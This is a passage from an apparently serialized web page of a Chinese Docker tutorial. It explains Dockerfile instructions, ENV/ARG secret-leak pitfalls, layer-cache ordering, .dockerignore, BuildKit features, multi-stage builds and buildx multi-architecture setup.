[\"app.js\"]",[84,47602,47603],{},[22,47604,47562],{},[84,47606,47607,47609],{},[22,47608,47587],{},"（只替换参数——最常用的组合）",[63,47611,47612,47619,47622],{},[84,47613,47614,4809,47617],{},[22,47615,47616],{},"ENTRYPOINT [\"sh\",\"-c\",\"node $FLAG app.js\"]",[22,47618,46430],{},[84,47620,47621],{},"shell 解释",[84,47623,47624,47625,18878,47631,47633],{},"shell 解释，",[17,47626,47627,47628],{},"追加的参数变成 ",[22,47629,47630],{},"$0 $1",[22,47632,46430],{}," 被忽略",[11,47635,47636],{},"实践结论：",[1773,47638,47639,47654,47673,47692,47708],{},[1662,47640,47641,322,47644,47646,47647,47649,47650,47653],{},[17,47642,47643],{},"一个纯服务型镜像",[22,47645,46927],{}," 定命令、",[22,47648,46430],{}," 定默认参数。这样使用者可以用 ",[22,47651,47652],{},"docker run img --help"," 换参数，而不是被迫重写整个命令。",[1662,47655,47656,4839,47659,272,47662,47665,47666,47669,47670,47672],{},[17,47657,47658],{},"一个工具型镜像",[22,47660,47661],{},"ubuntu",[22,47663,47664],{},"alpine","）：只写 ",[22,47667,47668],{},"CMD [\"bash\"]","，因为用户就是要随便跑点什么，",[22,47671,46927],{}," 会碍事。",[1662,47674,47675,322,47688,47691],{},[17,47676,47677,47679,47680,18878,47682,47685,47686],{},[22,47678,46150],{}," 后面的参数永远覆盖 ",[22,47681,46430],{},[22,47683,47684],{},"--entrypoint"," 永远覆盖 ",[22,47687,46927],{},[22,47689,47690],{},"docker run --rm --entrypoint sh ghcr.io\u002Fexample\u002Fshop-api:1.8.3 -c \"node -v\""," 是第七章调试的起手式。",[1662,47693,47694,47696,47697,47699,47700,655,47702,47704,47705,161],{},[17,47695,47529],{},"：Dockerfile 里写两条 ",[22,47698,46430],{},"，第一条静默失效；继承自基础镜像的 ",[22,47701,46430],{},[22,47703,46927],{}," 也会被你覆盖。想确认最终值：",[22,47706,47707],{},"docker image inspect img --format '{{.Config.Entrypoint}} {{.Config.Cmd}}'",[1662,47709,47710,47717],{},[17,47711,47712,655,47714,47716],{},[22,47713,46927],{},[22,47715,46430],{}," 是元数据层，不占空间","，把它们写在最后能最大化缓存命中。",[53,47719,47721],{"id":47720},"env-arg构建期与运行期以及它们都会留在历史里","ENV \u002F ARG：构建期与运行期，以及它们都会留在历史里",[57,47723,47724,47738],{},[60,47725,47726],{},[63,47727,47728,47730,47733,47736],{},[66,47729,20203],{},[66,47731,47732],{},"何时可见",[66,47734,47735],{},"是否留在最终镜像",[66,47737,11668],{},[79,47739,47740,47763],{},[63,47741,47742,47747,47754,47760],{},[84,47743,47744],{},[22,47745,47746],{},"ARG",[84,47748,47749,47750,47753],{},"仅构建期（",[22,47751,47752],{},"--build-arg"," 传入）",[84,47755,47756,47757,5149],{},"否（值不留，但",[17,47758,47759],{},"指令文本留",[84,47761,47762],{},"版本号、代理、构建目标",[63,47764,47765,47769,47772,47777],{},[84,47766,47767],{},[22,47768,46930],{},[84,47770,47771],{},"构建期 + 运行期",[84,47773,47774,47775,5149],{},"是（",[22,47776,47161],{},[84,47778,47779,272,47782,272,47785],{},[22,47780,47781],{},"NODE_ENV",[22,47783,47784],{},"PATH",[22,47786,47787],{},"TZ",[308,47789,47791],{"className":15575,"code":47790,"language":15577,"meta":314,"style":314},"ARG NODE_VERSION=22.11.0        # 有默认值；ARG 只在声明之后的指令生效\nFROM node:${NODE_VERSION}-bookworm-slim   # FROM 之前的 ARG 是「全局作用域」，不进任何层\nENV NODE_ENV=production\n",[22,47792,47793,47798,47803],{"__ignoreMap":314},[331,47794,47795],{"class":333,"line":334},[331,47796,47797],{},"ARG NODE_VERSION=22.11.0        # 有默认值；ARG 只在声明之后的指令生效\n",[331,47799,47800],{"class":333,"line":341},[331,47801,47802],{},"FROM node:${NODE_VERSION}-bookworm-slim   # FROM 之前的 ARG 是「全局作用域」，不进任何层\n",[331,47804,47805],{"class":333,"line":357},[331,47806,47807],{},"ENV NODE_ENV=production\n",[11,47809,47810],{},"两条铁律：",[1659,47812,47813,47828],{},[1662,47814,47815,47823,47824,47827],{},[17,47816,47817,47819,47820,47822],{},[22,47818,47746],{}," 不产生数据层，但 ",[22,47821,47134],{}," 里能看到那行指令文本","，所以 ",[22,47825,47826],{},"--build-arg PASSWORD=..."," 依然是泄漏。",[1662,47829,47830,322,47839,47842,47843,47846,47847,47850],{},[17,47831,47832,655,47834,655,47836,47838],{},[22,47833,46930],{},[22,47835,47746],{},[22,47837,47461],{}," 都禁止放密钥",[22,47840,47841],{},"RUN curl -H \"token: $SECRET\""," 里字面量写死的 token，会原样出现在层历史与构建日志里（第十五章会演示用 ",[22,47844,47845],{},"docker history --no-trunc"," 把它捞出来）。密钥走 ",[22,47848,47849],{},"--mount=type=secret"," 或运行时注入。",[11,47852,47853,47855,47856,322,47859,47862,47863,47866],{},[22,47854,46930],{}," 的另一个用途是",[17,47857,47858],{},"运行期可覆盖的默认值",[22,47860,47861],{},"ENV TZ=Asia\u002FShanghai"," 进镜像，但 ",[22,47864,47865],{},"docker run -e TZ=UTC"," 仍能盖掉它——这是第十三章「配置优先级」的第一层。",[53,47868,47870],{"id":47869},"workdiruservolumeexposelabelhealthcheckshell","WORKDIR、USER、VOLUME、EXPOSE、LABEL、HEALTHCHECK、SHELL",[308,47872,47874],{"className":15575,"code":47873,"language":15577,"meta":314,"style":314},"WORKDIR \u002Fsrv\u002Fshop      # 比 RUN cd 好：后续 RUN\u002FCOPY\u002FADD 的相对路径基准，且是元数据层\nUSER 1001:1001         # 之后的 RUN 与容器运行都以该身份（rootless 与第十五章相关）\nVOLUME \u002Fvar\u002Flib\u002Fmysql  # 声明「这里该有独立存储」，构建时不生效、运行时无名卷兜底\nEXPOSE 3000            # 纯文档：不发布端口、不写 iptables，只是给人和 tool 看的\nLABEL org.opencontainers.image.source=\"https:\u002F\u002Fgithub.com\u002Fexample\u002Fshop\"  # 治理用\nHEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 CMD node healthcheck.js\nSHELL [\"\u002Fbin\u002Fbash\", \"-eo\", \"pipefail\", \"-c\"]   # 改默认 shell，让管道失败可见\n",[22,47875,47876,47881,47886,47891,47896,47901,47906],{"__ignoreMap":314},[331,47877,47878],{"class":333,"line":334},[331,47879,47880],{},"WORKDIR \u002Fsrv\u002Fshop      # 比 RUN cd 好：后续 RUN\u002FCOPY\u002FADD 的相对路径基准，且是元数据层\n",[331,47882,47883],{"class":333,"line":341},[331,47884,47885],{},"USER 1001:1001         # 之后的 RUN 与容器运行都以该身份（rootless 与第十五章相关）\n",[331,47887,47888],{"class":333,"line":357},[331,47889,47890],{},"VOLUME \u002Fvar\u002Flib\u002Fmysql  # 声明「这里该有独立存储」，构建时不生效、运行时无名卷兜底\n",[331,47892,47893],{"class":333,"line":371},[331,47894,47895],{},"EXPOSE 3000            # 纯文档：不发布端口、不写 iptables，只是给人和 tool 看的\n",[331,47897,47898],{"class":333,"line":384},[331,47899,47900],{},"LABEL org.opencontainers.image.source=\"https:\u002F\u002Fgithub.com\u002Fexample\u002Fshop\"  # 治理用\n",[331,47902,47903],{"class":333,"line":397},[331,47904,47905],{},"HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 CMD node healthcheck.js\n",[331,47907,47908],{"class":333,"line":418},[331,47909,47910],{},"SHELL [\"\u002Fbin\u002Fbash\", \"-eo\", \"pipefail\", \"-c\"]   # 改默认 shell，让管道失败可见\n",[11,47912,47913],{},"逐条说清「为什么这么设计」和「不这么做会怎样」：",[1773,47915,47916,47934,47957,47982,48010,48026,48043],{},[1662,47917,47918,322,47925,47928,47929,47931,47932,161],{},[17,47919,47920,23069,47922],{},[22,47921,46936],{},[22,47923,47924],{},"RUN cd",[22,47926,47927],{},"RUN cd \u002Fx && make"," 那条指令内确实生效，但下一层又回到原地；而 ",[22,47930,46936],{}," 会自动创建目录、跨指令生效、且只是元数据（不新增大小）。用绝对路径，别用 ",[22,47933,5404],{},[1662,47935,47936,47941,47942,47945,47946,47948,47949,655,47952,47954,47955,161],{},[17,47937,47938,47940],{},[22,47939,46939],{}," 放在能放的位置","：如果 ",[22,47943,47944],{},"USER app"," 之后的 ",[22,47947,47461],{}," 需要往系统目录写，构建就会失败。正确姿势是 root 完成安装、",[22,47950,47951],{},"chown",[22,47953,47357],{}," 好、最后 ",[22,47956,46939],{},[1662,47958,47959,47964,47965,47967,47968,47970,47971,47974,47975,47981],{},[17,47960,47961,47963],{},[22,47962,46945],{}," 有副作用","：它保证挂载点里不会被 ",[22,47966,47461],{}," 写入的内容进入镜像（构建时对该目录的写会被丢弃），也让 ",[22,47969,46150],{}," 忘了挂卷时悄悄建一个匿名卷（第九章讲怎么认出这种「幽灵数据」）。数据库镜像里 ",[22,47972,47973],{},"VOLUME \u002Fvar\u002Flib\u002Fmysql"," 就是这个意思：那目录里的数据不该属于镜像。",[17,47976,47977,47978,47980],{},"也正因为 ",[22,47979,46945],{}," 会丢写","，如果你想在镜像里预置模板数据，得换个路径。",[1662,47983,47984,322,47989,47992,47993,47995,47996,47998,47999,4839,48002,48005,48006,48009],{},[17,47985,47986,47988],{},[22,47987,46933],{}," 只是文档",[22,47990,47991],{},"docker run -p"," 才是真的开端口映射；",[22,47994,46933],{}," 的作用是让 ",[22,47997,46448],{}," 显示、让 ",[22,48000,48001],{},"--publish-all",[22,48003,48004],{},"-P","）有东西可发布、让 Compose 的 ",[22,48007,48008],{},"expose"," 语义有依据。不写它不会连不上，写错它也不会连不上——很多人被这点反复误导。",[1662,48011,48012,48017,48018,48021,48022,48025],{},[17,48013,48014,48016],{},[22,48015,46942],{}," 用于治理","：镜像多了以后，「这是谁建的、源码在哪、什么构建时间」全靠 OCI 标准标签（",[22,48019,48020],{},"org.opencontainers.image.*","）。别把动态值（如 ",[22,48023,48024],{},"git rev","）放进第一层，否则每次构建所有层全失效。",[1662,48027,48028,48034,48035,48038,48039,48042],{},[17,48029,48030,48033],{},[22,48031,48032],{},"HEALTHCHECK"," 是「自证活着」的声明","：没有它，Docker 只知道进程在不在，不知道服务能不能用。它是第十六章就绪判断和 ",[22,48036,48037],{},"depends_on: service_healthy"," 的基础。注意：",[17,48040,48041],{},"unhealthy 不会自动重启容器","，得配合重启策略或外部 watcher。",[1662,48044,48045,322,48051,48054,48055,48058,48059,161],{},[17,48046,48047,48050],{},[22,48048,48049],{},"SHELL"," 改默认 shell",[22,48052,48053],{},"\u002Fbin\u002Fsh"," 各发行版行为不同（dash vs bash），管道失败与否、",[22,48056,48057],{},"set -e"," 支持都不同。想写严谨的构建脚本就显式切 bash 并开 ",[22,48060,48061],{},"pipefail",[53,48063,48065],{"id":48064},"指令顺序缓存的分水岭","指令顺序：缓存的分水岭",[11,48067,48068,48069,48072],{},"把上面的知识合起来就是一条排序原则——",[17,48070,48071],{},"变化频率从低到高","。下面这个左右对比能背下来：",[308,48074,48076],{"className":15575,"code":48075,"language":15577,"meta":314,"style":314},"FROM node:22-bookworm-slim                # 很少变\nWORKDIR \u002Fsrv\u002Fshop                          # 很少变\nCOPY package.json package-lock.json .\u002F     # 依赖变更时才变\nRUN npm ci --omit=dev                       # 跟着依赖锁变\nCOPY . .                                    # 每次都变 ← 分水岭\nENV NODE_ENV=production                     # 元数据\nEXPOSE 3000                                 # 元数据\nCMD [\"node\", \"server.js\"]                   # 元数据，永远放最后\n",[22,48077,48078,48083,48088,48093,48098,48103,48108,48113],{"__ignoreMap":314},[331,48079,48080],{"class":333,"line":334},[331,48081,48082],{},"FROM node:22-bookworm-slim                # 很少变\n",[331,48084,48085],{"class":333,"line":341},[331,48086,48087],{},"WORKDIR \u002Fsrv\u002Fshop                          # 很少变\n",[331,48089,48090],{"class":333,"line":357},[331,48091,48092],{},"COPY package.json package-lock.json .\u002F     # 依赖变更时才变\n",[331,48094,48095],{"class":333,"line":371},[331,48096,48097],{},"RUN npm ci --omit=dev                       # 跟着依赖锁变\n",[331,48099,48100],{"class":333,"line":384},[331,48101,48102],{},"COPY . .                                    # 每次都变 ← 分水岭\n",[331,48104,48105],{"class":333,"line":397},[331,48106,48107],{},"ENV NODE_ENV=production                     # 元数据\n",[331,48109,48110],{"class":333,"line":418},[331,48111,48112],{},"EXPOSE 3000                                 # 元数据\n",[331,48114,48115],{"class":333,"line":427},[331,48116,48117],{},"CMD [\"node\", \"server.js\"]                   # 元数据，永远放最后\n",[11,48119,48120,48121,48123,48124,48126],{},"反过来写（先 ",[22,48122,47029],{}," 再 ",[22,48125,47503],{},"）的话，改一行注释就要重装依赖。示例 04 把这份 Dockerfile 做成了可点交互：点任意一条指令，右侧的层堆叠会即时高亮「新增层 \u002F 元数据层 \u002F 复用缓存」，并演示改动源码时的失效范围。",[4748,48128],{"height":14062,"src":48129,"title":48130},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F04-dockerfile-layers.html","示例 04：Dockerfile 指令 → 分层效果可视化",[53,48132,48134],{"id":48133},"一个可以直接抄的最小-dockerfile","一个可以直接抄的最小 Dockerfile",[308,48136,48138],{"className":15575,"code":48137,"language":15577,"meta":314,"style":314},"FROM node:22-bookworm-slim\nENV NODE_ENV=production\nWORKDIR \u002Fsrv\u002Fshop\nCOPY package.json package-lock.json .\u002F\nRUN npm ci --omit=dev --npm-config.ignore-scripts=false\nCOPY src .\u002Fsrc\nEXPOSE 3000\nUSER 1001:1001\nHEALTHCHECK --interval=30s --timeout=3s --retries=3 CMD node -e \"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"\nCMD [\"node\", \"src\u002Fserver.js\"]\n",[22,48139,48140,48145,48149,48154,48159,48164,48169,48173,48178,48183],{"__ignoreMap":314},[331,48141,48142],{"class":333,"line":334},[331,48143,48144],{},"FROM node:22-bookworm-slim\n",[331,48146,48147],{"class":333,"line":341},[331,48148,47807],{},[331,48150,48151],{"class":333,"line":357},[331,48152,48153],{},"WORKDIR \u002Fsrv\u002Fshop\n",[331,48155,48156],{"class":333,"line":371},[331,48157,48158],{},"COPY package.json package-lock.json .\u002F\n",[331,48160,48161],{"class":333,"line":384},[331,48162,48163],{},"RUN npm ci --omit=dev --npm-config.ignore-scripts=false\n",[331,48165,48166],{"class":333,"line":397},[331,48167,48168],{},"COPY src .\u002Fsrc\n",[331,48170,48171],{"class":333,"line":418},[331,48172,15609],{},[331,48174,48175],{"class":333,"line":427},[331,48176,48177],{},"USER 1001:1001\n",[331,48179,48180],{"class":333,"line":439},[331,48181,48182],{},"HEALTHCHECK --interval=30s --timeout=3s --retries=3 CMD node -e \"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"\n",[331,48184,48185],{"class":333,"line":450},[331,48186,48187],{},"CMD [\"node\", \"src\u002Fserver.js\"]\n",[11,48189,48190,48191,48193,48194,48196,48197,48199,48200,48202,48203,17306,48206,48208],{},"里面每一行的理由：",[22,48192,46930],{}," 提前让依赖只装生产包；两次 ",[22,48195,47308],{}," 切出缓存分水岭；",[22,48198,46939],{}," 用数字 UID（不依赖镜像里恰好存在那个用户名）；",[22,48201,48032],{}," 走 exec 形式并显式 ",[22,48204,48205],{},"|| exit",[22,48207,46430],{}," 用 exec 形式以便收信号。下一章讲构建流程时，我们围绕它做缓存实验。",[48,48210,48212],{"id":48211},"五构建流程与缓存buildkitdockerignore-与多阶段构建","五、构建流程与缓存：BuildKit、.dockerignore 与多阶段构建",[53,48214,48216],{"id":48215},"docker-build-的最小形态与必给参数","docker build 的最小形态与必给参数",[308,48218,48220],{"className":3902,"code":48219,"language":3904,"meta":314,"style":314},"docker build -t ghcr.io\u002Fexample\u002Fshop-api:1.8.3 .\ndocker build -f Dockerfile.prod --target runtime -t shop-api:1.8.3 .\u002Fbackend\n",[22,48221,48222,48237],{"__ignoreMap":314},[331,48223,48224,48226,48228,48231,48234],{"class":333,"line":334},[331,48225,36862],{"class":501},[331,48227,35439],{"class":365},[331,48229,48230],{"class":344}," -t",[331,48232,48233],{"class":365}," ghcr.io\u002Fexample\u002Fshop-api:1.8.3",[331,48235,48236],{"class":365}," .\n",[331,48238,48239,48241,48243,48245,48248,48251,48254,48256,48259],{"class":333,"line":341},[331,48240,36862],{"class":501},[331,48242,35439],{"class":365},[331,48244,43839],{"class":344},[331,48246,48247],{"class":365}," Dockerfile.prod",[331,48249,48250],{"class":344}," --target",[331,48252,48253],{"class":365}," runtime",[331,48255,48230],{"class":344},[331,48257,48258],{"class":365}," shop-api:1.8.3",[331,48260,48261],{"class":365}," .\u002Fbackend\n",[57,48263,48264,48275],{},[60,48265,48266],{},[63,48267,48268,48270,48272],{},[66,48269,37711],{},[66,48271,7759],{},[66,48273,48274],{},"什么时候必须用",[79,48276,48277,48290,48306,48321,48334,48347,48359,48378],{},[63,48278,48279,48284,48287],{},[84,48280,48281],{},[22,48282,48283],{},"-t name:tag",[84,48285,48286],{},"命名并打标签",[84,48288,48289],{},"每次；没 tag 的镜像是悬空镜像，难找难删",[63,48291,48292,48300,48303],{},[84,48293,48294,1901,48297],{},[22,48295,48296],{},"-f",[22,48298,48299],{},"--target",[84,48301,48302],{},"指定 Dockerfile \u002F 多阶段只做到某阶段",[84,48304,48305],{},"一仓库多构建；单独调试 builder 阶段",[63,48307,48308,48313,48318],{},[84,48309,48310],{},[22,48311,48312],{},"--build-arg K=V",[84,48314,48315,48316],{},"传 ",[22,48317,47746],{},[84,48319,48320],{},"版本号、代理、构建开关",[63,48322,48323,48328,48331],{},[84,48324,48325],{},[22,48326,48327],{},"--pull",[84,48329,48330],{},"强制重新拉基础镜像",[84,48332,48333],{},"追基础镜像的安全补丁（否则用本地旧副本）",[63,48335,48336,48341,48344],{},[84,48337,48338],{},[22,48339,48340],{},"--no-cache",[84,48342,48343],{},"全量重建",[84,48345,48346],{},"复现 CI 的干净构建，日常别用（慢）",[63,48348,48349,48353,48356],{},[84,48350,48351],{},[22,48352,46065],{},[84,48354,48355],{},"指定目标平台",[84,48357,48358],{},"在 x86 上给 ARM 设备构建",[63,48360,48361,48369,48372],{},[84,48362,48363,1901,48366],{},[22,48364,48365],{},"--push",[22,48367,48368],{},"--load",[84,48370,48371],{},"构建完推送 \u002F 载入本地",[84,48373,48374,48375,48377],{},"多架构时 ",[22,48376,48368],{}," 不支持多平台镜像",[63,48379,48380,48385,48388],{},[84,48381,48382],{},[22,48383,48384],{},"--progress=plain",[84,48386,48387],{},"展开完整日志",[84,48389,48390],{},"构建失败时看清是哪条指令哪一行",[11,48392,48393,48394,18283,48396,48399,48400,6745,48402,48405,48406,48408],{},"结尾那个 ",[22,48395,1192],{},[17,48397,48398],{},"构建上下文","：Docker 会把它整个目录打包传给 daemon。目录里塞了 2GB 的 ",[22,48401,4041],{},[22,48403,48404],{},".git","，你每次构建就白传 2GB——这是 ",[22,48407,47418],{}," 存在的第一理由。",[53,48410,48412,48413],{"id":48411},"buildkit-与-syntax","BuildKit 与 ",[22,48414,48415],{},"# syntax=",[11,48417,48418,48419,48422,48423,48426],{},"从 Docker 23 起 BuildKit 是默认构建器。它相对老构建器的差异不是「快一点」，而是三条实质能力（",[22,48420,48421],{},"--mount","、heredoc、并行构建）。启用新语法靠文件",[17,48424,48425],{},"第一行","的解析器指令：",[308,48428,48430],{"className":15575,"code":48429,"language":15577,"meta":314,"style":314},"#syntax=docker\u002Fdockerfile:1\nRUN --mount=type=cache,target=\u002Froot\u002F.npm npm ci --omit=dev\nCOPY --link . .                         # 不因父层权限反复失效，也不重置时间戳\nRUN \u003C\u003CEOF                             # heredoc：多行脚本不用拼 && 与转义\n  addgroup -g 1001 app && adduser -S -D -u 1001 -G app app\nEOF\n",[22,48431,48432,48437,48442,48447,48452,48457],{"__ignoreMap":314},[331,48433,48434],{"class":333,"line":334},[331,48435,48436],{},"#syntax=docker\u002Fdockerfile:1\n",[331,48438,48439],{"class":333,"line":341},[331,48440,48441],{},"RUN --mount=type=cache,target=\u002Froot\u002F.npm npm ci --omit=dev\n",[331,48443,48444],{"class":333,"line":357},[331,48445,48446],{},"COPY --link . .                         # 不因父层权限反复失效，也不重置时间戳\n",[331,48448,48449],{"class":333,"line":371},[331,48450,48451],{},"RUN \u003C\u003CEOF                             # heredoc：多行脚本不用拼 && 与转义\n",[331,48453,48454],{"class":333,"line":384},[331,48455,48456],{},"  addgroup -g 1001 app && adduser -S -D -u 1001 -G app app\n",[331,48458,48459],{"class":333,"line":397},[331,48460,48461],{},"EOF\n",[11,48463,48464,48467,48468,655,48470,48472,48473,48476,48477,48480,48481,48484,48485,48488,48489,4813],{},[22,48465,48466],{},"#syntax="," 必须放在 ",[22,48469,47746],{},[22,48471,47268],{}," 之前才生效（规范写法哈希后带空格也合法，解析器允许）。写 ",[22,48474,48475],{},"docker\u002Fdockerfile:1"," 表示跟随 1.x，写 ",[22,48478,48479],{},"docker\u002Fdockerfile:1.7"," 是固定版本、CI 可复现。",[22,48482,48483],{},"--mount=type=cache"," 的缓存",[17,48486,48487],{},"不进镜像","，只在构建环境保留，能把「每次重装依赖」从 90 秒压到 5 秒；代价是它不受层缓存控制，换基础镜像后可能读到旧包（必要时 ",[22,48490,48491],{},"docker builder prune",[11,48493,48494,48495,48497],{},"示例 05 用同一个 Dockerfile 做三种改动——改注释、改依赖锁、改源码——对比 ",[22,48496,47094],{}," 的逐层输出，失效起点完全不同。",[4748,48499],{"height":40485,"src":48500,"title":48501},"\u002Ftutorials\u002Fdocker\u002Fdemos\u002F05-build-cache.html","示例 05：构建缓存——改哪一层就从哪一层重跑",[53,48503,48504],{"id":48504},"层缓存命中的判定规则",[11,48506,48507,48508,48511,48512,48515],{},"一句话规则：",[17,48509,48510],{},"命中 = 父层 ID 相同 + 指令文本相同 + （对 COPY\u002FADD）被复制文件的内容哈希相同","。三条任何一条变了，这一层以及",[17,48513,48514],{},"它之后的所有层","全部重建。",[57,48517,48518,48528],{},[60,48519,48520],{},[63,48521,48522,48525],{},[66,48523,48524],{},"变更内容",[66,48526,48527],{},"从哪一层开始重建",[79,48529,48530,48545,48560,48573,48584,48594],{},[63,48531,48532,48542],{},[84,48533,48534,48535,655,48537,655,48539,48541],{},"只改 ",[22,48536,46430],{},[22,48538,46930],{},[22,48540,46933],{}," 的值",[84,48543,48544],{},"从那条元数据指令起（前面全命中，重建很快）",[63,48546,48547,48554],{},[84,48548,48549,48550,48553],{},"改 ",[22,48551,48552],{},"README.md","（没被 COPY 到）",[84,48555,48556,48557,48559],{},"通常不重建；但若它在上下文里且被 ",[22,48558,47029],{}," 覆盖，就重建",[63,48561,48562,48567],{},[84,48563,48549,48564],{},[22,48565,48566],{},"package-lock.json",[84,48568,48569,48572],{},[22,48570,48571],{},"COPY package-lock"," 那层起重建",[63,48574,48575,48580],{},[84,48576,48549,48577],{},[22,48578,48579],{},"src\u002Fserver.js",[84,48581,48582,48572],{},[22,48583,47029],{},[63,48585,48586,48591],{},[84,48587,48588,48589,5149],{},"基础镜像更新（",[22,48590,48327],{},[84,48592,48593],{},"全部重建",[63,48595,48596,48599],{},[84,48597,48598],{},"文件权限\u002Fmode 变化",[84,48600,48601],{},"也算内容变化（COPY 把 mode 纳入哈希）",[11,48603,48604],{},"两个反直觉细节：",[1773,48606,48607,48636],{},[1662,48608,48609,48617,48618,48620,48621,48624,48625,48628,48629,48631,48632,48635],{},[17,48610,48611,48613,48614,48616],{},[22,48612,47029],{}," 的哈希是整个上下文（扣除 ",[22,48615,47418],{},"）算的","。于是 ",[22,48619,11576],{}," 改了、",[22,48622,48623],{},"dist\u002F"," 多了临时文件、生成了 ",[22,48626,48627],{},"*.log"," 都会击穿缓存。把 ",[22,48630,47029],{}," 收窄成 ",[22,48633,48634],{},"COPY src .\u002Fsrc","，既减小上下文又稳定缓存。",[1662,48637,48638,161,48643,48646,48647,48650,48651,48653,48654,48657],{},[17,48639,48640,48642],{},[22,48641,47461],{}," 只看指令文本，不看外部世界",[22,48644,48645],{},"RUN apt-get install -y curl=7.88.1-1+deb12u1"," 带版本写法能按需失效；而 ",[22,48648,48649],{},"RUN git clone https:\u002F\u002Fgithub.com\u002Fexample\u002Fshop"," 只要文本不变就永远命中旧缓存，拿到的是半年前的代码——「代码明明更新了镜像里却是旧的」的成因。解法：用 ",[22,48652,47308],{}," 放进去，或加 ",[22,48655,48656],{},"--build-arg COMMIT="," 让文本变化。",[53,48659,48661],{"id":48660},"dockerignore不是可选项",".dockerignore：不是可选项",[308,48663,48666],{"className":48664,"code":48665,"language":313},[311],".git\n**\u002Fnode_modules\ndist\ncoverage\n*.log\n.env\n.env.*\n!.env.example\ncompose*.yaml\ntests\n",[22,48667,48665],{"__ignoreMap":314},[11,48669,48670,48671,48673,48674,48677,48678,4839,48681,272,48683,48686,48687,48689,48690,5160,48692,48694,48695,48697,48698,48700,48701,48704,48705,48711],{},"不写它的三个后果：",[17,48672,16665],{},"（上下文几 GB）、",[17,48675,48676],{},"缓存被击穿","（任何杂文件都改内容哈希）、",[17,48679,48680],{},"泄密",[22,48682,11149],{},[22,48684,48685],{},"id_rsa"," 被 ",[22,48688,47029],{}," 打进镜像，",[22,48691,47134],{},[22,48693,47053],{}," 之后都能翻出来）。语法接近 ",[22,48696,11576],{},"，有一处常见「误报错」：",[22,48699,11149],{}," 被 ignore 后 ",[22,48702,48703],{},"COPY .env \u002Fapp\u002F"," 直接失败——这不是 bug，而是提示：",[17,48706,48707,48708,48710],{},"镜像里不该有需要 ",[22,48709,11149],{}," 的东西","（第十三章）。",[53,48713,48715],{"id":48714},"多阶段构建编译阶段与运行阶段彻底分开","多阶段构建：编译阶段与运行阶段彻底分开",[11,48717,48718],{},"问题的形状：构建 Node\u002FGo\u002FJava 应用需要编译器、包管理器、源码、测试依赖、头文件，运行只需要运行时和产物。把它们留在一个镜像里，等于把攻击面和体积一起打包上线。",[308,48720,48722],{"className":15575,"code":48721,"language":15577,"meta":314,"style":314},"#syntax=docker\u002Fdockerfile:1\nFROM node:22-bookworm-slim AS deps\nWORKDIR \u002Fsrv\u002Fshop\nCOPY package.json package-lock.json .\u002F\nRUN npm ci --omit=dev\nFROM node:22-bookworm-slim AS build\nCOPY --from=deps \u002Fsrv\u002Fshop\u002Fnode_modules .\u002Fnode_modules\nCOPY . .\nRUN npm run build && npm prune --omit=dev\nFROM node:22-bookworm-slim AS runtime        # 只有最后一个 FROM 之后的内容进最终镜像\nENV NODE_ENV=production\nWORKDIR \u002Fsrv\u002Fshop\nCOPY --from=build \u002Fsrv\u002Fshop .\u002F\nUSER 1001:1001\nEXPOSE 3000\nCMD [\"node\", \"server.js\"]\n",[22,48723,48724,48728,48733,48737,48741,48746,48751,48756,48761,48766,48771,48775,48779,48784,48788,48792],{"__ignoreMap":314},[331,48725,48726],{"class":333,"line":334},[331,48727,48436],{},[331,48729,48730],{"class":333,"line":341},[331,48731,48732],{},"FROM node:22-bookworm-slim AS deps\n",[331,48734,48735],{"class":333,"line":357},[331,48736,48153],{},[331,48738,48739],{"class":333,"line":371},[331,48740,48158],{},[331,48742,48743],{"class":333,"line":384},[331,48744,48745],{},"RUN npm ci --omit=dev\n",[331,48747,48748],{"class":333,"line":397},[331,48749,48750],{},"FROM node:22-bookworm-slim AS build\n",[331,48752,48753],{"class":333,"line":418},[331,48754,48755],{},"COPY --from=deps \u002Fsrv\u002Fshop\u002Fnode_modules .\u002Fnode_modules\n",[331,48757,48758],{"class":333,"line":427},[331,48759,48760],{},"COPY . .\n",[331,48762,48763],{"class":333,"line":439},[331,48764,48765],{},"RUN npm run build && npm prune --omit=dev\n",[331,48767,48768],{"class":333,"line":450},[331,48769,48770],{},"FROM node:22-bookworm-slim AS runtime        # 只有最后一个 FROM 之后的内容进最终镜像\n",[331,48772,48773],{"class":333,"line":456},[331,48774,47807],{},[331,48776,48777],{"class":333,"line":775},[331,48778,48153],{},[331,48780,48781],{"class":333,"line":785},[331,48782,48783],{},"COPY --from=build \u002Fsrv\u002Fshop .\u002F\n",[331,48785,48786],{"class":333,"line":795},[331,48787,48177],{},[331,48789,48790],{"class":333,"line":805},[331,48791,15609],{},[331,48793,48794],{"class":333,"line":819},[331,48795,48796],{},"CMD [\"node\", \"server.js\"]\n",[11,48798,48799,48800,48805,48806,4839,48809,48812,48813,48816,48817,5177,48820,4839,48823,48826,48827,48830,48831,48834],{},"要点四条：",[17,48801,48802],{},[22,48803,48804],{},"COPY --from=\u003C阶段名|序号|外部镜像>"," 从别的阶段取产物，未被最终阶段引用的中间阶段会被跳过；",[17,48807,48808],{},"产物里不要夹带构建工具",[22,48810,48811],{},"npm prune --omit=dev","；Go 用 ",[22,48814,48815],{},"CGO_ENABLED=0"," 静态编译后拷进 ",[22,48818,48819],{},"FROM scratch",[17,48821,48822],{},"阶段命名可读",[22,48824,48825],{},"AS deps","）才方便 ",[22,48828,48829],{},"--target deps"," 单独构建调试；",[17,48832,48833],{},"各阶段共享同一基础镜像的层","，多阶段不额外吃磁盘。常见量级：1.2GB → 180MB。",[53,48836,48838],{"id":48837},"buildx-与多架构","buildx 与多架构",[308,48840,48842],{"className":3902,"code":48841,"language":3904,"meta":314,"style":314},"docker buildx create --name multi --driver docker-container --use\ndocker buildx inspect --bootstrap\ndocker run --privileged --rm tonistiigi\u002Fbinfmt --install all\ndocker buildx build --platform linux\u002Famd64,linux\u002Farm64 -t ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --push .\ndocker manifest inspect 